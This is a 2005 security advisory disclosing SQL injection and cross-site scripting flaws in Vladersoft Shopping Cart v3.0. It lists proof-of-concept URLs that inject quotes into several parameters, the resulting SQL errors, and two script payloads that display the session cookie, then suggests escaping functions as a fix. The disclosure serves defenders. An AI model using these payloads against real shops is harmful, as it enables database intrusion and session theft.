Multiple sql injection, and xss vulnerabilities in Vladersoft Shopping Cart v.3.0
Dcrab 's Security Advisory
http://icis.digitalparadox.org/~dcrab
http://www.hackerscenter.com/
Severity: High
Title: Multiple sql injection, and xss vulnerabilities in Vladersoft Shopping
Cart v.3.0
Date: March 27, 2005
Summary:
There are multiple sql injection, xss vulnerabilities in the Vladersoft
Shopping Cart v.3.0.
Proof of Concept Exploits:
http://localhost/store/category.php?sid=CDFE279AC2AD08522DF1CF9B46475132&id='SQL_INJECTION
Query: "SELECT * FROM categories WHERE CategoryID = ''SQL_INJECTION'"
Error 1064: You have an error in your SQL syntax near 'SQL_INJECTION'' at line 1
http://localhost/store/item.php?sid=CDFE279AC2AD08522DF1CF9B46475132&id='SQL_INJECTION
Query: "SELECT * FROM options WHERE OptionItemID = ''SQL_INJECTION' ORDER BY
OptionPrice ASC"
Error 1064: You have an error in your SQL syntax near 'SQL_INJECTION' ORDER BY
OptionPrice ASC' at line 1
http://localhost/store/index.php?sid=CDFE279AC2AD08522DF1CF9B46475132&lang='SQL_INJECTION
Query: "SELECT CategoryID AS bookmarkID, CategoryName'SQL_INJECTION AS
bookmarkName FROM categories WHERE CategoryID = '0'"
Error 1064: You have an error in your SQL syntax near '0'' at line 1
http://localhost/store/search_result.php?sid=&searchTopCategoryID=&searchQuery='SQL_INJECTION&sid=CDFE279AC2AD08522DF1CF9B464751
32¤cy=USD
Query: "SELECT COUNT(*) FROM items AS I, categories AS C, categories_items AS
CI WHERE CI.ItemID = I.ItemID AND CI.CategoryID =
C.CategoryID AND I.ItemStatus = '1' AND I.ItemIndexedWords LIKE
'%'SQL_INJECTION%'"
Error 1064: You have an error in your SQL syntax near 'SQL_INJECTION%'' at line
8
http://localhost/store/search_result.php?sid=CDFE279AC2AD08522DF1CF9B46475132&searchTopCategoryID='SQL_INJECTION&searchQuery=&s
id=CDFE279AC2AD08522DF1CF9B46475132¤cy=USD
Query: "SELECT COUNT(*) FROM items AS I, categories AS C, categories_items AS
CI WHERE CI.ItemID = I.ItemID AND CI.CategoryID =
C.CategoryID AND I.ItemStatus = '1' AND I.ItemIndexedWords LIKE '%%' AND
CI.CategoryID = ''SQL_INJECTION'"
Error 1064: You have an error in your SQL syntax near 'SQL_INJECTION'' at line 8
http://localhost/store/index.php?sid=CDFE279AC2AD08522DF1CF9B46475132&lang=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie
http://localhost/store/search_result.php?sid=CDFE279AC2AD08522DF1CF9B46475132&searchTopCategoryID=%22%3E%3Cscript%3Ealert(documen
t.cookie)%3C/script%3E&searchQuery=&sid=CDFE279AC2AD08522DF1CF9B46475132¤cy=USD
Pops cookie
Possible fix: The usage of htmlspeacialchars(), mysql_escape_string(),
mysql_real_escape_string() and other functions for input validation before
passing
user input to the mysql database, or before echoing data on the screen, would
solve these problems.
Author:
These vulnerabilties have been found and released by Diabolic Crab, Email:
dcrab[AT|NOSPAM]hackersenter[DOT|NOSPAM]com, please feel free to
contact me regarding these vulnerabilities. You can find me at,
http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout
for my
soon to come out book on Secure coding with php.